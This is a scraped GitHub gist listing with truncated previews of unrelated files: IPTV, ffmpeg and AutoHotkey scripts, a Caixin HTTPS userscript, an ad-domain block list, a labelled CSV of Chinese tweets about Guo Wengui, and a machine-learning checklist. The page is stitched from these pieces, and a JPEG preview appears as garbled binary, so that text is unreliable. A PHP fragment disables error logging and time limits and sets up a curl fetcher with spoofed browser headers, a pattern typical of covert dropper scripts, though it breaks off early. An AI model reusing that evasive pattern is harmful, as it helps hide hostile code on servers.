This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python3 | |
import requests, re | |
tgtfile = 'ptv.m3u' | |
url = 'https://raw.githubusercontent.com/Tzwcard/ChinaTelecom-GuangdongIPTV-RTP-List/master/GuangdongIPTV_rtp_hd.m3u' | |
api = 'http://epg.51zmt.top:8000/upload/' | |
rtp = re.compile(r'rtp://') | |
repl = 'http://192.168.000.000:0000/rtp/' | |
proxies = { } |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
TOTAL=$(ls *.mp4 | wc -l) | |
for i in *.mp4 | |
do | |
ffmpeg -loglevel quiet -y -i "$i" -c copy -movflags +faststart -threads 0 -tag:v hvc1 "temp.mp4" | |
mv -f "temp.mp4" "$i" | |
echo $i | |
done | tqdm --total $TOTAL >> /dev/null |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// ==UserScript== | |
// @name Force Caixin to HTTPS | |
// @namespace r-a-y/https | |
// @version 1.0.0 | |
// @match http://*.caixin.com/* | |
// @run-at document-start | |
// @description Force Caixin to use HTTPS. | |
// ==/UserScript== | |
document.location.replace(document.location.href.replace(/http\:/, 'https:')); |
This file has been truncated, but you can view the full file.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
payload: | |
#TITLE=anti-AD | |
#VER=20200721225341 | |
#URL=https://github.com/privacy-protection-tools/anti-AD | |
#TOTAL_LINES=36572 | |
- DOMAIN-SUFFIX,00-gov.cn | |
- DOMAIN-SUFFIX,kwcdn.000dn.com | |
- DOMAIN-SUFFIX,kwcscdn.000dn.com | |
- DOMAIN-SUFFIX,kwflvcdn.000dn.com | |
- DOMAIN-SUFFIX,s8.001fzc.com |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
JFIF ` ` à | |
Á | |
ш N j" ߠ | |
} !1AQa"q2咑䳢r? | |
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz冇꒓旘⣤稩㴵蹺ąƇȉʒӔՖטٚᢣ䥦稩걲䵶蹿? |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
ignore_user_abort(true); | |
set_time_limit(0); | |
@ini_set('error_log',NULL); | |
@ini_set('log_errors',0); | |
function getURL($url, $maxRedirs = 5, $timeout = 30) | |
{ | |
$ch = curl_init(); $header[] = "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"; $header[] = "Connection: keep-alive"; $header[] = "Keep-Alive: 300"; $header[] = "Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3"; $header[] = "Pragma: "; curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0"); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($c |
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#NoEnv ; Recommended for performance and compatibility with future AutoHotkey releases. | |
; #Warn ; Enable warnings to assist with detecting common errors. | |
SendMode Input ; Recommended for new scripts due to its superior speed and reliability. | |
SetWorkingDir %A_ScriptDir% ; Ensures a consistent starting directory. | |
$CapsLock:: | |
KeyWait, CapsLock, T0.5 | |
If ErrorLevel { | |
SetCapsLockState % !GetKeyState("CapsLock", "T") | |
KeyWait, CapsLock | |
} Else |
We can't make this file beautiful and searchable because it's too large.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
,tweetid,userid,tweet_language,tweet_text,tweet_time,tweet_client_name,in_reply_to_userid,in_reply_to_tweetid,quoted_tweet_tweetid,is_retweet,retweet_userid,retweet_tweetid,latitude,longitude,quote_count,reply_count,like_count,retweet_count,hashtags,urls,user_mentions,poll_choices,tags,length,label | |
1522,1006357839961419777,927408049802956801,zh,#郭文贵 即便今天的郭文贵还在卖力表演,什么风水、国际时事,还谈起了人生哲理—自我重塑。显然,自我重塑只存在于郭文贵的口中。郭文贵太执迷于给“盗国贼”编故事,反而忽略一路走来的危机。,2018-06-12 02:09:00,Twitter Web Client,,,,False,,,absent,absent,0,0,0,0,['郭文贵'],[],[],,"['郭文贵', '重塑', '自我', '人生哲理', '国贼', '执迷', '卖力', '时事', '谈起', '忽略']",10,11 | |
4737,1036799689889214464,34649696,zh,"吕涛最后陈述 #郭文贵 #政泉 | |
https://t.co/uKmdElXb2k",2018-09-04 02:14:00,Twitter Web Client,,,,False,,,absent,absent,0,0,0,0,"['郭文贵', '政泉']",['https://www.youtube.com/watch?v=VBSlivmW2r4'],[],,"['吕涛', '郭文贵', '政泉', 'https', 'co', 'uKmdElXb2k', '陈述', '最后']",8,11 | |
5414,1089337511610990592,828817384827875330,zh,十三打一:郭文贵遭遇司法群殴,败真是惨不忍睹啊!https://t.co/f74EIRPl6y,2019-01-27 01:41:00,Twitter Web Client,,,, |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
机器学习项目检查清单 | |
描述问题并观察大局(the big picture) | |
1. 用商业术语描述目标。 | |
2. 你的解决方案要如何运用? | |
3. 目前的解决方案或变通方法是什么? | |
4. 你要如何表述这个问题(监督/非监督学习,在线/离线学习等)? | |
5. 怎样衡量性能? | |
6. 性能指标与商业目标一致吗? | |
7. 达到商业目标的最低性能是什么? | |
8. 有没有类似的问题?你有可重复使用的经验或工具吗? |
NewerOlder